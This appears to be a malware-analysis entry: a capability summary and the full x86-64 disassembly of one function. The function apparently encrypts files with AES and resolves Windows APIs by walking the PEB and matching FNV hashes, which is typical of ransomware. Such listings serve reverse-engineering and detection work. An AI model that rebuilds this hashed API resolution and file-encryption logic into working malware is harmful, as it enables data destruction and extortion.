Function at 0x140027280
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x200], rbx
mov rax, qword [0x140127190]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov r13, rdx
mov r14, rcx
mov qword [rsp + 0x30], rcx
mov ecx, dword [rdx + 0x28]
test ecx, ecx
je 0x1400277c6
sub ecx, 1
je 0x1400273dd
cmp ecx, 1
jne 0x140027b1e
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x48], rax
xor ebx, ebx
mov qword [rsp + 0x78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
lea edx, [rbx + 0x40]
mov rcx, r13
call fcn.1400765f0
mov rax, qword [r14 + 0x58]
mov r8d, 0x300
add rax, r8
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x20], 0x14
lea r9d, [rbx + 8]
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x90]
mov rcx, qword [r14]
call qword [sym.imp.NTDLL.dll_NtSetInformationFile]
lea rdi, [r14 + 8]
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r14 + 0x68]
call fcn.1400270c0
mov rdx, qword [r14 + 0x80]
cmp rdx, 8
jb 0x1400273b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [r14 + 0x68]
cmp rdx, 0x1000
jb 0x1400273ad
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140027b48
mov rcx, r8
call fcn.1400765f0
mov qword [r14 + 0x78], rbx
mov qword [r14 + 0x80], 7
mov word [r14 + 0x68], bx
mov edx, 0x88
mov rcx, r14
call fcn.1400765f0
call fcn.140024700
jmp 0x140027b1e
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x50], rax
xor esi, esi
mov qword [rbp - 0x78], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x50]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [r14 + 0x48], eax
cmp eax, 1
jne 0x140027b1e
mov rcx, qword [r14 + 0x40]
call fcn.1400765f0
lea ecx, [rsi + 0x40]
call fcn.1400765b4
mov r12, rax
mov ecx, dword [r14 + 0x60]
xor edx, edx
mov r8d, 0x300
mov eax, r8d
div rcx
sub rcx, rdx
add rcx, r8
test rdx, rdx
cmove rcx, r8
mov qword [r12 + 0x38], rcx
xor eax, eax
mov qword [r12], rax
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rax
mov qword [r12 + 0x18], rax
mov eax, dword [r14 + 0x58]
mov dword [r12 + 0x10], eax
mov eax, dword [r14 + 0x5c]
mov dword [r12 + 0x14], eax
mov dword [r12 + 0x28], 2
mov rax, qword [r12 + 0x38]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x40], rsi
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
test eax, eax
jne 0x1400274a0
mov rbx, qword [rsp + 0x40]
mov qword [r12 + 0x30], rbx
movaps xmm0, xmmword [0x1401346a0]
movups xmmword [rbx + 0x284], xmm0
movaps xmm1, xmmword [0x1401346b0]
movups xmmword [rbx + 0x294], xmm1
movaps xmm0, xmmword [0x1401346c0]
movups xmmword [rbx + 0x2a4], xmm0
movaps xmm1, xmmword [0x1401346d0]
movups xmmword [rbx + 0x2b4], xmm1
movaps xmm0, xmmword [0x1401346e0]
movups xmmword [rbx + 0x2c4], xmm0
movaps xmm1, xmmword [0x1401346f0]
movups xmmword [rbx + 0x2d4], xmm1
movaps xmm0, xmmword [0x140134700]
movups xmmword [rbx + 0x2e4], xmm0
movsd xmm1, qword [0x140134710]
movsd qword [rbx + 0x2f4], xmm1
mov eax, dword [0x140134718]
mov dword [rbx + 0x2fc], eax
lea rcx, [r14 + 0x68]
cmp qword [rcx + 0x18], 8
jb 0x140027566
mov rcx, qword [rcx]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
nop dword [rax]
lea rdi, [rdi + 1]
cmp word [rax + rdi*2], si
jne 0x140027570
lea r8, [rdi + rdi]
lea rcx, [rbx + 0x3c]
mov rdx, rax
call fcn.14009a510
mov rax, qword [r14 + 0x50]
mov qword [rbx + 0x30], rax
mov eax, dword [r14 + 0x60]
mov dword [rbx + 0x38], eax
movups xmm0, xmmword [r14 + 8]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [r14 + 0x18]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [r14 + 0x28]
movups xmmword [rbx + 0x20], xmm0
lea rdx, [rbx + 0x248]
lea r9, [0x140134720]
mov r8d, 0x248
mov rcx, rbx
call fcn.140043d60
mov rdi, qword [0x1401352d0]
test rdi, rdi
jne 0x14002778a
mov ebx, esi
mov r11d, 0x436f7631
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x140027672
mov rdi, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0x9ff7ce10
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x140027669
nop word [rax + rax]
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
lea rdi, [rdi + 2]
inc r8
cmp r8, r9
jne 0x140027650
cmp r10d, ebx
jne 0x14002777b
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov esi, ecx
add rsi, r10
shr rcx, 0x20
cmp rsi, r10
je 0x140027779
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140027779
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edi, dword [rdx + r15]
add rdi, r10
mov r8d, 0x9ff7ce10
movzx edx, byte [rdi]
inc rdi
test dl, dl
je 0x1400276e8
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rdi]
lea rdi, [rdi + 1]
test dl, dl
jne 0x1400276d0
cmp r8d, r11d
je 0x1400276fc
test r9d, r9d
jne 0x1400276b0
xor esi, esi
mov rax, qword [rax]
jmp 0x140027600
mov edx, dword [rsi + 0x24]
add rdx, r10
movzx edi, word [rdx + r9*2]
mov edx, dword [rsi + 0x1c]
add rdx, r10
mov edi, dword [rdx + rdi*4]
add rdi, r10
cmp rdi, rsi
jbe 0x140027783
lea rax, [rsi + rcx]
cmp rdi, rax
jae 0x140027783
mov ebx, 0x9ff7ce10
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140027745
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x140027730
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140027768
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea rdi, [rdi + 1]
movzx eax, byte [rdi]
test al, al
jne 0x140027750
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x140027600
mov qword [0x1401352d0], rdi
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x70]
mov r8d, dword [r12 + 0x38]
mov rdx, qword [r12 + 0x30]
mov rcx, qword [r14]
call rdi
test eax, eax
jne 0x140027b1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140027b1e
call fcn.140024700
jmp 0x140027b1e
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x70]
call fcn.14009a970
lea rax, [rbp + 0x28]
mov qword [rsp + 0x60], rax
mov dl, 1
lea rcx, [rbp + 0x30]
call fcn.140050730
movabs rax, 0x3fffffffffffffff
mov qword [rbp + 0x50], rax
xor esi, esi
mov qword [rbp + 0x58], rsi
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x48]
call fcn.14002c620
mov qword [rbp + 0x60], rax
mov rdi, 0xffffffffffffffff
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rsi
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov qword [rbp + 0x28], rax
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
mov qword [rbp + 0x30], rax
mov dl, 1
lea rcx, [rbp - 0x68]
call fcn.140050730
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov dl, 1
lea rcx, [rbp - 0x10]
call fcn.140050730
mov qword [rbp], rdi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea rax, [0x1401076f8]
mov qword [rbp - 0x70], rax
lea rax, [0x1401075c0]
mov qword [rbp - 0x68], rax
lea rax, [0x1401077c8]
mov qword [rbp - 0x38], rax
lea rax, [0x140107938]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x70]
call fcn.140055650
nop
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x40]
mov eax, eax
lea r9, [r14 + 0x28]
lea rdx, [r14 + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 0x20]
lea rcx, [rbp - 0x70]
call fcn.140052ee0
mov eax, dword [r14 + 0x38]
mov rdx, qword [r13 + 0x20]
imul rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140055020
mov rdx, qword [r13 + 0x30]
mov r9d, dword [r14 + 0x38]
mov r8, rdx
lea rcx, [rbp - 0x68]
call fcn.140054a60
mov dword [r13 + 0x28], 1
mov rdi, qword [0x1401352c0]
test rdi, rdi
jne 0x140027ade
mov ebx, esi
mov r11d, 0x223aab43
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1400279b2
mov rdi, qword [rsp + 0x68]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0xc8f8f9da
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x1400279a9
nop word [rax + rax]
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
add rdi, 2
inc r8
cmp r8, r9
jne 0x140027990
cmp r10d, ebx
jne 0x140027aca
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r14d, ecx
add r14, r10
shr rcx, 0x20
cmp r14, r10
je 0x140027aca
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140027aca
mov r15d, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edx, dword [rdx + r15]
add rdx, r10
mov r8d, 0xc8f8f9da
movzx edi, byte [rdx]
inc rdx
test dil, dil
je 0x140027a2a
nop
movsx edi, dil
xor edi, r8d
imul r8d, edi, 0x1000193
movzx edi, byte [rdx]
lea rdx, [rdx + 1]
test dil, dil
jne 0x140027a10
cmp r8d, r11d
je 0x140027a3e
test r9d, r9d
jne 0x1400279f0
xor esi, esi
mov rax, qword [rax]
jmp 0x140027940
mov edx, dword [r14 + 0x1c]
add rdx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rdx + rax*4]
add rdi, r10
cmp rdi, r14
jbe 0x140027ad2
lea rax, [r14 + rcx]
cmp rdi, rax
jae 0x140027ad2
mov ebx, 0xc8f8f9da
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140027a95
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x140027a80
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140027ab7
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
test al, al
jne 0x140027aa0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x140027940
mov qword [0x1401352c0], rdi
mov r14, qword [rsp + 0x30]
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x74]
mov r8d, dword [r14 + 0x38]
mov rdx, qword [r13 + 0x30]
mov rcx, qword [r14]
call rdi
test eax, eax
jne 0x140027b0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140027b0c
call fcn.140024700
nop
lea rcx, [rbp - 0x70]
call fcn.140028d20
lea rcx, [rbp + 0x28]
call fcn.140027b90
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140076590
mov rbx, qword [rsp + 0x200]
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400a3864
int3